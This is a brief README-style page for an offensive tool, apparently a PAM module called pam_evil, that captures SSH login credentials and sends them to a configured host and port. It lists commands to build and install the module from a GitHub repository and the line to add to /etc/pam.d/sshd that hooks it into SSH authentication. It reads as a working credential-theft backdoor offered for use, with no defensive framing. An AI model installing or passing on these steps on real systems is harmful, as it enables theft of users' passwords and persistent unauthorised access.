PAM module to exfiltrate credentials
Install the module:
apt install libpam0g-dev
git clone https://github.com/itasahobby/pam_evil.git
make install
Configure SSH to use the PAM module adding the following to /etc/pam.d/sshd
:
auth optional pam_evil.so target=127.0.0.1 port=8888
In colaboration with Dreg